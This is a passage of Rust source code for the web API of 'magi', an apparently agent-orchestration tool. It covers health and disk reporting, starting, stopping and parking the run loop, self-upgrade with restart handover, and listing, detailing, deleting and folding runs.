1691#[derive(Debug, Serialize)]
1692struct DiskView {
1693    /// Free bytes on the volume holding the runs, when measurable.
1694    #[serde(skip_serializing_if = "Option::is_none")]
1695    free_bytes: Option<u64>,
1696    /// Everything the runs directory occupies, unreadable runs included.
1697    runs_bytes: u64,
1698    /// Everything the runs' worktrees occupy.
1699    worktrees_bytes: u64,
1700    /// The shared build cache's size, when the config names one.
1701    #[serde(skip_serializing_if = "Option::is_none")]
1702    cache_bytes: Option<u64>,
1703}
1704
1705impl DiskView {
1706    /// Measure the three directories and re-read the config's cache.
1707    fn of(ui: &Ui) -> Self {
1708        let cache_bytes = Config::discover(&ui.repo, None)
1709            .ok()
1710            .and_then(|(cfg, _)| cfg.cache_dir())
1711            .map(|dir| crate::disk::dir_size(&dir));
1712        Self {
1713            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1714            runs_bytes: crate::disk::dir_size(&ui.runs),
1715            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1716            cache_bytes,
1717        }
1718    }
1719}
1720
1721/// The daemon's state as the UI presents it.
1722#[derive(Debug, Serialize)]
1723struct DaemonView {
1724    running: bool,
1725    idle: Option<bool>,
1726    pid: Option<u32>,
1727    /// Every task and run currently in flight. Empty when idle; more than
1728    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
1729    /// run going at once.
1730    current: Vec<daemon::Current>,
1731    completed: Option<u64>,
1732    stale_for_secs: Option<i64>,
1733}
1734
1735impl DaemonView {
1736    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
1737    /// not this UI's — a crashed daemon must not look alive here while
1738    /// `doctor` calls it dead.
1739    fn of(status: Option<daemon::Reading>) -> Self {
1740        let Some(status) = status else {
1741            return Self {
1742                running: false,
1743                idle: None,
1744                pid: None,
1745                current: Vec::new(),
1746                completed: None,
1747                stale_for_secs: None,
1748            };
1749        };
1750        let now = Timestamp::now();
1751        let age = status.age_secs(now);
1752        Self {
1753            running: status.running(now),
1754            idle: Some(status.idle),
1755            pid: status.pid,
1756            current: status.current,
1757            completed: Some(status.completed),
1758            stale_for_secs: age,
1759        }
1760    }
1761}
1762
1763async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1764    blocking(move || {
1765        // One read of the status file for the two fields that describe it, so
1766        // `daemon` and `loop` in the same answer cannot disagree about who is
1767        // running the loop.
1768        let reading = daemon::read_status(&ui.home);
1769        // Read on its own line, not inside the literal below: the loop's lock
1770        // is not reentrant, and a guard taken as a temporary there would still
1771        // be held when `loop_view` took it again.
1772        let loop_rev = ui.lock_loop().rev;
1773        let update = cached_update_view(&ui.repo);
1774        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1775        Ok(Json(HealthView {
1776            version: env!("CARGO_PKG_VERSION"),
1777            home: ui.home.display().to_string(),
1778            queue_rev: ui.queue.revision(),
1779            runs_rev: runs_revision(&ui.runs),
1780            questions_rev: ui.questions.revision(),
1781            talks_rev: ui.talks.revision(),
1782            notifications_rev: ui.notices.revision(),
1783            notifications_unread: ui.notices.count_unread(),
1784            loop_rev,
1785            runs_unreadable: runs_unreadable(&ui.runs),
1786            questions_open: ui.questions.count_open(),
1787            questions_needs_owner: ui.questions.count_needs_owner(),
1788            daemon: DaemonView::of(reading.clone()),
1789            looping: ui.loop_view(reading),
1790            disk: DiskView::of(&ui),
1791            update,
1792            upgrade,
1793        }))
1794    })
1795    .await
1796}
1797
1798/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
1799#[derive(Debug, Serialize)]
1800struct LoopView {
1801    /// A loop is running in *this* process.
1802    running: bool,
1803    /// It has been asked to stop and is still finishing a run.
1804    ///
1805    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
1806    /// because the two differ exactly where it matters: a loop asked to stop
1807    /// while idle is gone within one poll interval, and one asked to stop
1808    /// mid-run keeps going for as long as the graph takes. The operator needs
1809    /// to be told which of those they are waiting for.
1810    stopping: bool,
1811    /// A park was asked for: the run in flight stops at its next node
1812    /// boundary rather than finishing.
1813    ///
1814    /// Separate from `stopping` because the two promise different waits. A
1815    /// stop is "when this competition ends", which can be an hour; a park is
1816    /// "after the step it is on", which is minutes and is what an operator
1817    /// waiting to replace the binary needs to see.
1818    parking: bool,
1819    /// The loop is this process's own.
1820    ///
1821    /// Spelled separately from `running` for the front end's sake, even
1822    /// though inside this process the two move together: `running: false`
1823    /// with `daemon.running: true` is the case where the operator's own `magi
1824    /// serve` owns the loop, and `owned` is the field that tells the UI its
1825    /// buttons have to explain that rather than pretend.
1826    owned: bool,
1827    /// Repository the loop uses for tasks that name none - what it was
1828    /// started with while it runs, and what a start would use before that.
1829    repo: String,
1830    /// Merge mode override in force, or `null` when each repository's own
1831    /// config decides.
1832    merge: Option<String>,
1833    /// Why the last loop in this process ended, when it ended badly.
1834    ///
1835    /// The only place a crashed loop is visible to someone holding a phone.
1836    /// It is logged at error level as well, but a terminal nobody kept open
1837    /// is not a report, and a loop that died at 3am must not read as merely
1838    /// stopped in the morning. Named as [`Task::last_error`] is, because it
1839    /// answers the same question about the same kind of failure.
1840    last_error: Option<String>,
1841    /// The status file, judged the same way `/api/health` judges it: this is
1842    /// what says whether a loop is alive in some *other* process.
1843    daemon: DaemonView,
1844}
1845
1846/// A loop another process already owns.
1847///
1848/// `<home>/daemon.json` is the only cross-process signal there is, so this is
1849/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
1850/// published by a pid that is not ours. Excluding our own pid is what makes
1851/// stopping work at all - the loop this process runs writes that file too, so
1852/// a check that ignored the pid would decide the operator's own UI was a
1853/// stranger and refuse to stop the loop it had just started.
1854#[derive(Debug, Clone, Copy)]
1855struct Foreign {
1856    /// The pid the other process published, when it published one.
1857    pid: Option<u32>,
1858}
1859
1860impl Foreign {
1861    /// Another process's live loop, or `None` when this process is free to
1862    /// run one.
1863    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1864        let reading = reading?;
1865        if !reading.running(Timestamp::now()) {
1866            return None;
1867        }
1868        match reading.pid {
1869            Some(pid) if pid == std::process::id() => None,
1870            // A fresh heartbeat with no pid in it is still evidence of a live
1871            // daemon. "Some other process" is the honest answer, and refusing
1872            // to start beside it is the safe one.
1873            pid => Some(Self { pid }),
1874        }
1875    }
1876
1877    /// How a conflict names it. The pid is the whole point of the message: it
1878    /// is what the operator needs to find the terminal that owns the loop.
1879    fn who(&self) -> String {
1880        match self.pid {
1881            Some(pid) => format!("another magi process (pid {pid})"),
1882            None => "another magi process".to_owned(),
1883        }
1884    }
1885}
1886
1887/// How a loop is started, as a future this module can hold onto.
1888///
1889/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
1890/// trait object or a hand-written `Debug` impl for the sake of one seam.
1891type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1892
1893/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
1894fn launch_daemon(
1895    opts: daemon::Opts,
1896    stop: daemon::Stop,
1897) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1898    Box::pin(daemon::serve_until(opts, stop))
1899}
1900
1901/// The loop this process runs, behind one lock.
1902#[derive(Debug, Default)]
1903struct LoopState {
1904    /// The loop, while there is one.
1905    live: Option<Live>,
1906    /// Bumped on every change to this struct, and streamed as `loop_rev`.
1907    ///
1908    /// The loop is in-process state rather than a file, so nothing on disk
1909    /// would tell a second phone that the first one started it. Without this
1910    /// counter the only way to learn about a start, a stop request or a crash
1911    /// would be to poll `/api/loop`, which is the thing the change stream
1912    /// exists to avoid on a mobile link.
1913    rev: u64,
1914    /// Why the last loop ended, when it ended badly. See
1915    /// [`LoopView::last_error`].
1916    last_error: Option<String>,
1917}
1918
1919/// A loop in flight.
1920#[derive(Debug)]
1921struct Live {
1922    /// The cooperative stop, shared with the loop task.
1923    stop: daemon::Stop,
1924    /// The task itself, kept only to answer whether it is still there: a loop
1925    /// that panicked never records its own end, and without this the view
1926    /// would go on reporting a loop that no longer exists - the one lie that
1927    /// would leave the operator with no button to press.
1928    handle: tokio::task::JoinHandle<()>,
1929    /// What the loop was started with, so the view reports the repository and
1930    /// merge mode its runs will actually use rather than what an edit to the
1931    /// config since would give.
1932    opts: daemon::Opts,
1933}
1934
1935impl Live {
1936    /// Is the task still there? See [`Live::handle`].
1937    fn alive(&self) -> bool {
1938        !self.handle.is_finished()
1939    }
1940}
1941
1942/// Take the loop lock, recovering from a poisoned one.
1943///
1944/// What this mutex holds is a stop flag, a task handle and two counters, none
1945/// of which a panic elsewhere can leave in a state worth refusing to read.
1946/// Propagating the poison instead would mean an operator who can see the loop
1947/// running and can no longer stop it from the only surface they have.
1948fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1949    state.lock().unwrap_or_else(PoisonError::into_inner)
1950}
1951
1952/// `GET /api/loop`.
1953async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1954    blocking(move || {
1955        let reading = daemon::read_status(&ui.home);
1956        Ok(Json(ui.loop_view(reading)))
1957    })
1958    .await
1959}
1960
1961/// The body of `POST /api/loop`.
1962///
1963/// One required field and nothing else: no `default` and no unknown fields,
1964/// so a body that fails to say which way the switch was flipped is a 400
1965/// rather than a tap that quietly does the opposite of what was pressed.
1966#[derive(Debug, Deserialize)]
1967#[serde(deny_unknown_fields)]
1968struct LoopCommand {
1969    running: bool,
1970    /// Stop the run in flight at its next node boundary rather than letting it
1971    /// finish.
1972    ///
1973    /// Defaults to false, so the plain stop keeps meaning what it meant: a
1974    /// competition is tens of minutes of paid work and finishing it is
1975    /// normally the cheapest thing to do. A park is for the operator who
1976    /// wants the process gone now - to replace the binary, most of all - and
1977    /// it costs at most the node in progress because every node writes its
1978    /// state before the next one starts.
1979    #[serde(default)]
1980    park: bool,
1981}
1982
1983/// `POST /api/loop` - start the loop in this process, or ask it to stop.
1984///
1985/// Answers with the view rather than waiting for the loop to reach the state
1986/// that was asked for. Starting is immediate anyway; stopping is not, and the
1987/// wait is a run's worth of minutes, which is not a thing to hold a phone's
1988/// request open for. `stopping` in the answer is what the operator watches
1989/// instead.
1990async fn loop_post(
1991    State(ui): State<Arc<Ui>>,
1992    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1993) -> ApiResult<Json<LoopView>> {
1994    // Taken as a `Result` so a malformed body is a 400 like every other route
1995    // here, rather than axum's default 422 that the UI has no branch for.
1996    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1997    blocking(move || {
1998        let reading = daemon::read_status(&ui.home);
1999        let foreign = Foreign::of(reading.as_ref());
2000        if body.running {
2001            ui.start_loop(foreign)?;
2002        } else {
2003            ui.stop_loop(foreign, body.park)?;
2004        }
2005        Ok(Json(ui.loop_view(reading)))
2006    })
2007    .await
2008}
2009
2010/// What `POST /api/upgrade` set in motion.
2011#[derive(Debug, Serialize)]
2012struct UpgradeView {
2013    /// The version this process is running.
2014    from: String,
2015    /// The release it is replacing itself with, when there is one.
2016    to: Option<String>,
2017    /// A run was parked first, and this is its id.
2018    parked: Option<String>,
2019    /// What the operator should expect to happen next.
2020    detail: String,
2021}
2022
2023/// `POST /api/upgrade` - replace this binary with the newest release and come
2024/// back on it.
2025///
2026/// The one thing the deck could not do for itself. Every fix landed today
2027/// either waited for a competition to end or went in with the deck stopped,
2028/// because `cargo install` cannot overwrite a running executable on Windows.
2029/// `kaishin` can: `self_replace` **renames** the running image aside and puts
2030/// the new one in its place, so the swap itself needs no downtime. Only the
2031/// restart does, and the order is the whole design:
2032///
2033/// 1. **Park.** A run in flight stops at its next node boundary and stays
2034///    resumable, so this costs at most the node in progress rather than the
2035///    competition. Without it the honest choices were waiting an hour or
2036///    discarding paid agent work.
2037/// 2. **Replace.** The new binary goes into place while this one still runs.
2038/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
2039///    successor - see [`spawn_successor`] for what happens in the other
2040///    order.
2041/// 4. **Resume.** The next loop carries the parked run on rather than
2042///    competing again; see `daemon::attempt`.
2043///
2044/// Answers **202**: the reply has to reach the phone while this process can
2045/// still send one, and the phone learns the deck is back by reconnecting.
2046async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2047    let reading = daemon::read_status(&ui.home);
2048    if let Some(other) = Foreign::of(reading.as_ref()) {
2049        return Err(ApiError::conflict(format!(
2050            "the loop belongs to {}, so replacing this binary would leave \
2051             that process running an old one against the same queue. Upgrade \
2052             where it was started.",
2053            other.who()
2054        )));
2055    }
2056
2057    // The same kill switch the background check honours (`disabled_by_env`),
2058    // checked before anything else for the same reason it is read before the
2059    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2060    // contact GitHub from this process", and a button press must not
2061    // override that any more than a broken `magi.toml` may.
2062    if crate::updater::disabled_by_env() {
2063        return Ok((
2064            StatusCode::OK,
2065            Json(UpgradeView {
2066                from: env!("CARGO_PKG_VERSION").to_owned(),
2067                to: None,
2068                parked: None,
2069                detail: format!(
2070                    "Automatic updates are disabled by {}. Nothing was parked \
2071                     and nothing restarted.",
2072                    crate::updater::NO_AUTOUPDATE_ENV
2073                ),
2074            }),
2075        ));
2076    }
2077
2078    // Asked before anything is disturbed. Restarting when there is nothing
2079    // to install is not a harmless no-op: it parks the run in flight and
2080    // drops every connection to pay for an upgrade that did not happen. A
2081    // probe against a deck already on the newest build did exactly that.
2082    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2083    let from = env!("CARGO_PKG_VERSION").to_owned();
2084    let latest = match crate::updater::Checker::new(&cfg.update) {
2085        Some(checker) => checker
2086            .newer_release()
2087            .await
2088            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2089        None => None,
2090    };
2091    let Some(latest) = latest else {
2092        return Ok((
2093            StatusCode::OK,
2094            Json(UpgradeView {
2095                from,
2096                to: None,
2097                parked: None,
2098                detail: "Already on the newest release. Nothing was parked \
2099                         and nothing restarted."
2100                    .to_owned(),
2101            }),
2102        ));
2103    };
2104
2105    // Parked before anything is replaced: a successor that came up while a
2106    // run was mid-node would find a run nobody is driving.
2107    let parked = ui.park_for_upgrade()?;
2108    let detail = match &parked {
2109        // Honest about the wait. A park takes effect at the *next* node
2110        // boundary, so a run mid-implement finishes that wave first - up to
2111        // `timeout_implement`, an hour by default. Saying "restarting now"
2112        // would make the deck look wedged for the rest of it.
2113        Some(run) => format!(
2114            "Run {} is parking at its next step, which can take as long as \
2115             the step it is on - up to an hour for an implement wave. The \
2116             deck replaces itself once it parks, comes back, and the loop \
2117             carries that run on from where it stopped. Nothing is lost if \
2118             you close this.",
2119            crate::run::short_of(run)
2120        ),
2121        None => "The deck replaces itself and comes back. Nothing was in \
2122                 flight to park."
2123            .to_owned(),
2124    };
2125
2126    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2127    // poll must see a `Downloading` stage immediately, not whenever the
2128    // spawned task happens to get scheduled.
2129    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2130    progress.parked_run = parked.clone();
2131    let _ = updater::write_progress(&ui.home, &progress);
2132
2133    let home = ui.home.clone();
2134    tokio::spawn(async move {
2135        if let Err(e) = upgrade_and_restart(home.clone()).await {
2136            tracing::error!("the upgrade did not complete: {e:#}");
2137            if let Some(mut progress) = updater::read_progress(&home) {
2138                progress.fail(format!("{e:#}"));
2139                let _ = updater::write_progress(&home, &progress);
2140            }
2141        }
2142    });
2143
2144    Ok((
2145        StatusCode::ACCEPTED,
2146        Json(UpgradeView {
2147            from,
2148            to: Some(latest.tag_name),
2149            parked,
2150            detail,
2151        }),
2152    ))
2153}
2154
2155/// Replace the binary, then ask [`serve`] to hand the address over.
2156///
2157/// Separated from the handler so the 202 is already on its way, and separated
2158/// from the spawn so the successor starts only after the listener is dropped.
2159async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2160    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2161    // hang the upgrade for as long as the process lives.
2162    crate::updater::run_self_update(true, false, true).await?;
2163    tracing::info!("binary replaced - asking the server to hand over");
2164    if let Some(mut progress) = updater::read_progress(&home) {
2165        progress.advance(updater::Stage::Replaced);
2166        let _ = updater::write_progress(&home, &progress);
2167    }
2168    HANDOVER.notify_one();
2169    Ok(())
2170}
2171
2172/// One row in the run list.
2173///
2174/// The list route returns this rather than whole `RunState`s: the summary of a
2175/// run is a few hundred bytes and the state is megabytes, and the difference
2176/// is what makes the history usable on a mobile link.
2177#[derive(Debug, Serialize)]
2178struct RunSummary {
2179    id: String,
2180    short: String,
2181    status: String,
2182    done: bool,
2183    instruction: String,
2184    title: String,
2185    repo: String,
2186    repo_name: String,
2187    created_at: String,
2188    updated_at: String,
2189    candidates: usize,
2190    viable: usize,
2191    judges: usize,
2192    winner: Option<char>,
2193    reviews: usize,
2194    quota_losses: usize,
2195    event: Option<String>,
2196    /// The later attempt at the same task that replaced this one, if any.
2197    ///
2198    /// Two cards with one title is otherwise unreadable: this is what lets
2199    /// the deck say "superseded by 4043" on the older of the pair.
2200    superseded_by: Option<String>,
2201    /// Blocked on a question nobody has answered.
2202    ///
2203    /// Derived from the question store rather than stored on the run: an agent
2204    /// calling `magi ask` blocks mid-node, and writing a status from there
2205    /// would race the graph's own save of `run.json` and be overwritten at the
2206    /// next node boundary. Asking the store is always true and never races.
2207    waiting: bool,
2208    /// Whether the process recorded as driving this run can still be proven
2209    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
2210    /// rather than presenting its last graph node as still in flight.
2211    live: crate::run::Liveness,
2212    /// The land loop's last look at the pull request, when there is one.
2213    pr: Option<crate::run::PrRecord>,
2214    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
2215    /// design — never picked up by the PR-polling merge watcher, unlike an
2216    /// ordinary `Ready` that may still be a live landing candidate. See
2217    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
2218    /// re-deriving the same check from `status` and `merge.mode` itself.
2219    unmerged_by_design: bool,
2220}
2221
2222impl RunSummary {
2223    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2224        Self {
2225            id: state.id.clone(),
2226            short: state.short().to_owned(),
2227            status: status_word(state.status),
2228            done: state.status.done(),
2229            unmerged_by_design: state.unmerged_by_design(),
2230            instruction: state.instruction.clone(),
2231            title: title_from(&state.instruction, TITLE_MAX),
2232            repo: state.repo.display().to_string(),
2233            repo_name: state
2234                .repo
2235                .file_name()
2236                .map(|n| n.to_string_lossy().into_owned())
2237                .unwrap_or_default(),
2238            created_at: state.created_at.to_string(),
2239            updated_at: state.updated_at.to_string(),
2240            candidates: state.candidates.len(),
2241            viable: state.viable().len(),
2242            judges: state.config.graph.judges,
2243            winner: state.winner().map(|c| c.label),
2244            reviews: state.reviews.len(),
2245            quota_losses: state.quota.len(),
2246            event: state.events.last().map(|e| e.message.clone()),
2247            waiting,
2248            live,
2249            // Filled in by the list route, which is the only place that can
2250            // see a task's other attempts.
2251            superseded_by: None,
2252            pr: state.pr.clone(),
2253        }
2254    }
2255}
2256
2257/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2258/// the same string `serde` writes for the status inside a full run.
2259fn status_word(status: RunStatus) -> String {
2260    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2261    // was a third way of naming the same statuses, and one that changed
2262    // silently with a derive.
2263    status.as_str().to_owned()
2264}
2265
2266/// `?limit=`, clamped by the handler.
2267#[derive(Debug, Deserialize)]
2268struct ListQuery {
2269    #[serde(default)]
2270    limit: Option<usize>,
2271}
2272
2273async fn runs_list(
2274    State(ui): State<Arc<Ui>>,
2275    Query(q): Query<ListQuery>,
2276) -> ApiResult<Json<Vec<RunSummary>>> {
2277    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2278    blocking(move || {
2279        let superseded = ui.queue.superseded();
2280        // Everything the per-run rows share is read once here. Asking per run
2281        // re-read every question file and the daemon status file for each of
2282        // hundreds of runs, and spawned a process probe per run on Windows.
2283        let open_runs: HashSet<String> = ui
2284            .questions
2285            .list()
2286            .into_iter()
2287            .filter(|q| q.status.open())
2288            .map(|q| q.run)
2289            .collect();
2290        let claimed: HashSet<String> =
2291            crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2292                .into_iter()
2293                .map(|c| c.run)
2294                .collect();
2295        let states = run_ids(&ui.runs)
2296            .into_iter()
2297            // A run whose state cannot be read is skipped, not fatal: a run
2298            // killed mid-write must not blank the history of every other one.
2299            // The detail route still explains it, which is where an operator
2300            // asking "what happened to that run" ends up.
2301            .filter_map(|id| read_run(&ui.runs, &id).ok())
2302            .take(limit);
2303        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2304        let summaries = summarize(
2305            states,
2306            &open_runs,
2307            &claimed,
2308            &superseded,
2309            |p| probe.borrow_mut().status(p),
2310            |p| probe.borrow_mut().started_at(p),
2311        );
2312        Ok(Json(summaries))
2313    })
2314    .await
2315}
2316
2317/// The rows of the run list, given everything that is shared between them.
2318///
2319/// Pure over its inputs so a test can count how often the process queries are
2320/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
2321/// takes, called at most once per run.
2322fn summarize<I, S, D>(
2323    states: I,
2324    open_runs: &HashSet<String>,
2325    claimed: &HashSet<String>,
2326    superseded: &HashMap<String, String>,
2327    mut status_q: S,
2328    mut identity_q: D,
2329) -> Vec<RunSummary>
2330where
2331    I: IntoIterator<Item = RunState>,
2332    S: FnMut(u32) -> Option<bool>,
2333    D: FnMut(u32) -> Option<String>,
2334{
2335    states
2336        .into_iter()
2337        .map(|state| {
2338            let waiting = open_runs.contains(&state.id);
2339            let live =
2340                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2341            let mut row = RunSummary::of(&state, waiting, live);
2342            row.superseded_by = superseded
2343                .get(&state.id)
2344                .map(String::as_str)
2345                .map(crate::run::short_of)
2346                .map(str::to_owned);
2347            row
2348        })
2349        .collect()
2350}
2351
2352/// A run as the detail route hands it to the phone.
2353///
2354/// The whole state, flattened, plus `instruction_md`: the Task panel renders
2355/// the instruction as markdown, and the raw `instruction` field this struct
2356/// still carries (unchanged) is what a client wanting the exact bytes reads
2357/// instead.
2358#[derive(Debug, Serialize)]
2359struct RunDetailView {
2360    #[serde(flatten)]
2361    state: RunState,
2362    instruction_md: Vec<md::Node>,
2363    /// Whether a process is actually still driving this run: `"live"`,
2364    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
2365    ///
2366    /// `state.active` (flattened in above) is only ever cleared by the
2367    /// process that populated it; a killed one leaves its last wave's
2368    /// entries behind. Carrying this alongside is what lets the phone rail
2369    /// tell "this seat is still answering" from "this seat was still
2370    /// answering when whatever was driving this run died" without a second
2371    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
2372    /// proof of either. A string rather than a bool on purpose: a daemon
2373    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
2374    /// and neither proven is `"unknown"` — folding that third case into
2375    /// either end of a bool is exactly the wrong call for a phone screen an
2376    /// operator uses to decide whether to wait or to act.
2377    live: crate::run::Liveness,
2378    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
2379    /// alongside the flattened `state` rather than inside it, since
2380    /// `RunState` has no business knowing which of its own methods a caller
2381    /// wants serialized.
2382    unmerged_by_design: bool,
2383    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
2384    /// route fills it from [`Queue::superseded`], the detail route from
2385    /// [`Queue::superseded_by`], and both read the same underlying task
2386    /// order. Without this the detail page could only ever show a red
2387    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
2388    /// with nothing anywhere saying so — an operator opening it had no way
2389    /// to tell "this is done elsewhere" from "this still needs a retry".
2390    superseded_by: Option<String>,
2391    /// The task's current attempt, when this run is an older one — resolved
2392    /// from [`Queue::latest_attempt`] and this run's own state, not left for
2393    /// the client to derive.
2394    ///
2395    /// Three things a client cannot safely do on its own drove this onto the
2396    /// server: it has to name the chain's *current head*, not just the next
2397    /// attempt (`superseded_by` above), because an intermediate retry in a
2398    /// longer chain can itself still be unresolved; it has to resolve to a
2399    /// real id rather than a short id a client would have to guess a full id
2400    /// from, which is ambiguous the moment two runs share a suffix; and it
2401    /// has to read that head's own status directly, because whether a run
2402    /// list a client happens to have cached even contains that attempt
2403    /// depends on a page limit this route knows nothing about.
2404    latest_attempt: Option<LatestAttempt>,
2405}
2406
2407/// The task's current attempt, as seen from an older one's detail page.
2408#[derive(Debug, Serialize)]
2409struct LatestAttempt {
2410    id: String,
2411    short: String,
2412    /// Whether this attempt itself settled with a result nobody needs to
2413    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
2414    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
2415    /// unconfirmed claim that no change was needed, which is exactly why it
2416    /// settles the task through `Held` rather than `Done` and still waits on
2417    /// a human to check the evidence; showing an older run as "finished
2418    /// elsewhere" on the strength of an unverified claim would bury the
2419    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
2420    /// in-flight status are excluded because they are exactly the
2421    /// unresolved states this field exists to tell apart from a real finish.
2422    resolved: bool,
2423}
2424
2425impl RunDetailView {
2426    fn of(
2427        state: RunState,
2428        live: crate::run::Liveness,
2429        superseded_by: Option<String>,
2430        latest_attempt: Option<LatestAttempt>,
2431    ) -> Self {
2432        Self {
2433            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2434            live,
2435            unmerged_by_design: state.unmerged_by_design(),
2436            superseded_by,
2437            latest_attempt,
2438            state,
2439        }
2440    }
2441}
2442
2443async fn run_detail(
2444    State(ui): State<Arc<Ui>>,
2445    Path(id): Path<String>,
2446) -> ApiResult<Json<RunDetailView>> {
2447    blocking(move || {
2448        let id = resolve_run(&ui.runs, &id)?;
2449        let state = read_run(&ui.runs, &id)?;
2450        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2451        let live = state.liveness(daemon_claims);
2452        let superseded_by = ui
2453            .queue
2454            .superseded_by(&id)
2455            .as_deref()
2456            .map(crate::run::short_of)
2457            .map(str::to_owned);
2458        // Best-effort: an unreadable head (mid-write, or deleted) just means
2459        // this run's own status stands on its own, same as no later attempt
2460        // existing at all.
2461        let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2462            read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2463                short: head.short().to_owned(),
2464                resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2465                id: head.id,
2466            })
2467        });
2468        Ok(Json(RunDetailView::of(
2469            state,
2470            live,
2471            superseded_by,
2472            latest_attempt,
2473        )))
2474    })
2475    .await
2476}
2477
2478/// `DELETE /api/runs/{id}`.
2479///
2480/// Remove a finished, folded run directory along with its artifacts.
2481/// Running runs and runs with unfolded candidate worktrees/branches cannot be
2482/// deleted. This never touches git worktrees or branches - except for a run
2483/// whose state this build cannot read at all, where there is no candidate
2484/// list to check and the wholesale removal `magi fold` already uses for that
2485/// case is the only meaningful "delete".
2486async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2487    let (id, unreadable) = {
2488        let ui = Arc::clone(&ui);
2489        blocking(move || {
2490            let id = resolve_run(&ui.runs, &id)?;
2491            match read_run(&ui.runs, &id) {
2492                Ok(state) => {
2493                    let in_flight =
2494                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2495                    state
2496                        .ensure_can_delete(in_flight)
2497                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2498                    let dir = ui.runs.join(&id);
2499                    std::fs::remove_dir_all(&dir)
2500                        .with_context(|| format!("remove run directory {}", dir.display()))?;
2501                    Ok((id, false))
2502                }
2503                Err(_) => {
2504                    // Unreadable: there is no candidate list to guard on, so
2505                    // a live daemon's claim is the only thing left to check -
2506                    // the same rule `run_fold` applies for the same reason.
2507                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2508                        return Err(ApiError::conflict(format!(
2509                            "run {id} is being worked on by a live daemon right now"
2510                        )));
2511                    }
2512                    Ok((id, true))
2513                }
2514            }
2515        })
2516        .await?
2517    };
2518    if unreadable {
2519        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2520            .await
2521            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2522    }
2523    let ui = Arc::clone(&ui);
2524    let done = id.clone();
2525    blocking(move || {
2526        // The agent that asked died with the run, so an open question would
2527        // keep asking the operator for a decision nobody can deliver.
2528        ui.questions.abandon_for_run(
2529            &done,
2530            &format!("run {done} was deleted, so nothing is waiting for this answer"),
2531        )?;
2532        Ok(())
2533    })
2534    .await?;
2535    Ok(StatusCode::NO_CONTENT)
2536}
2537
2538/// `POST /api/runs/{id}/fold`.
2539///
2540/// Remove a run's candidate worktrees and branches, keeping its record.
2541///
2542/// This exists because the deck answered "delete this run" with *"Candidates
2543/// must be folded before deleting. Run `magi fold` first."* — a phone being
2544/// told to open a terminal, in the one product whose point is that it does
2545/// not need one. The runs an operator most wants gone are the stalled and
2546/// blocked ones, and those are exactly the runs still holding worktrees:
2547/// three of them here held 53 GB.
2548///
2549/// The winner's tree goes too. A fold is what someone asks for when they are
2550/// finished with a run, and leaving one tree behind would leave the delete
2551/// button disabled for the same reason as before.
2552///
2553/// Refused while a live daemon is working on the run, on the rule that guards
2554/// deletion: folding underneath a running agent would pull the tree it is
2555/// editing out from under it.
2556///
2557/// A run whose state this build cannot read at all falls back to
2558/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
2559/// selectively, so the whole record's worktree goes wholesale, exactly what
2560/// `magi fold` does on the command line for the same run.
